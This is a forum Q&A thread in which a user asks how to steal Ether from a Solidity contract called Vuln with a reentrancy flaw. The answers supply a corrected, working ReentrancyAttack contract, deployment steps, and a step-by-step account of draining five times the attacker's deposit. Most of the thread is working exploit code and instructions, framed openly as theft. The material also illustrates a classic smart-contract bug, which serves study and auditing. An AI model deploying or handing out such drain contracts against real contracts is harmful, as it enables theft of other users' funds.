0

How can I steal from Vuln contract? I have made another contract to try to steal from Vuln but it always gives me an error. And I'm not sure how to send the money to my adrress.

contract Vuln {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        // Increment their balance with whatever they pay
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        // Refund their balance
        msg.sender.call.value(balances[msg.sender])("");

        // Set their balance to 0
        balances[msg.sender] = 0;
    }
}
contract ReentrancyAttack {
    Vuln target = Vuln(/* some addresss */);
    uint amount = 500 wei;
    uint maxwithdraw = 0;
   address payable theif = msg.sender;

   function depositamount() public payable{
        target.deposit.value(msg.value)();
     //   target.withdraw();
    }
    function withdrawamount() public payable{
     //   target.deposit.value(msg.value)();
        target.withdraw();
    }

     function () external payable{
        if (maxwithdraw < 5){
            maxwithdraw++;

            if (address(target).balance >= amount)
                {
                target.withdraw();
                }
        }
     }
}
2

Cleaned up a little:

  1. Deploy Vuln. Deposit a large amount (e.g. 1,000).
  2. Switch accounts. Deposit a small amount (e.g. 100).
  3. Copy the Vuln address and paste to ReentrancyAttack's constructor. Deploy.
  4. withdrawamount(). The second account gets 5x entitlement.
  5. Examine the transaction. The event log shows five iterations.

-

pragma solidity 0.5.1;

contract Vuln {
    mapping(address => uint256) public balances;

    event LogDeposit(address sender, uint amount);
    event LogWithdrawal(address sender, uint amount);

    function deposit() public payable {
        // Increment their balance with whatever they pay
        emit LogDeposit(msg.sender, msg.value);
        balances[msg.sender] += msg.value;
    }

    function withdraw() public returns(bytes memory) {
        // Refund their balance
        emit LogWithdrawal(msg.sender, balances[msg.sender]);
        (bool result, bytes memory x)  = msg.sender.call.value(balances[msg.sender])("");
        if(result) {
            // Set their balance to 0
            balances[msg.sender] = 0;
        }
        return x;
    }

}

contract ReentrancyAttack {
    Vuln target;
    uint iterations = 0;

    constructor(address t) public {
        target = Vuln(t);
    }

    function depositamount() public payable{
        target.deposit.value(msg.value)();
    }
    function withdrawamount() public payable{
        target.withdraw();
        msg.sender.transfer(address(this).balance);
    }

     function () external payable{
        if (iterations < 5){
            iterations++;
            target.withdraw();
        }
        iterations = 0;
     }
}

Hope it helps.

1

Let me elaborate a bit on Ismael's correct answer.

The attack works like this:

1) You wait until the contract Vuln has plenty of Ether in it from other users.

2) You send some amount of Ether from yourself into the Vuln contract by calling depositamount in your attack contract

3) You call withdrawamount which initiates the withdraw from the Vuln contract

4) Because the Vuln contract then sends you your original Ethers back it triggers your attack contract´s fallback function. The fallback function triggers another withdraw from Vuln. The important part here is that the same withdraw function is called again before the previous call to the function has finished - before it has set your balance to zero. So the second call sees that the balance is not zero and it will send you the same balance again.

5) The second call to the withdraw does the same as the first and it triggers your fallback which sends a new withdraw requests and so on. When you are "done" (in this case after 5 iterations) you allow all of the stack (all of the calls) to complete and they all set your balance to zero.

Therefore you gain 5 times the amount of Ethers you originally sent to the Vuln contract (minus gases).

  • "Furthermore, the Vuln contract is vulnerable to variable overflow bugs, but this is not so easy to exploit and is probably not what we're looking for here." I don't see one. There will never be 2**256 wei. – user19510 May 6 '19 at 20:10
  • Ah, correct, didn't think that far, thanks :) will remove. – Lauri Peltonen May 7 '19 at 5:13
0

The ReentrancyAttack contract kind of work if the Vuln contract has enough balance it will withdraw it.

It has some issues though. Like it always tries to withdraw balances[msg.sender] if there isn't enough funds it will fail. There's a check for 500 wei, but if you send more than 500 wei it will be meaningless.

The attacker contract doesn't have a function to transfer ether, so any balance will be stuck there forever.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.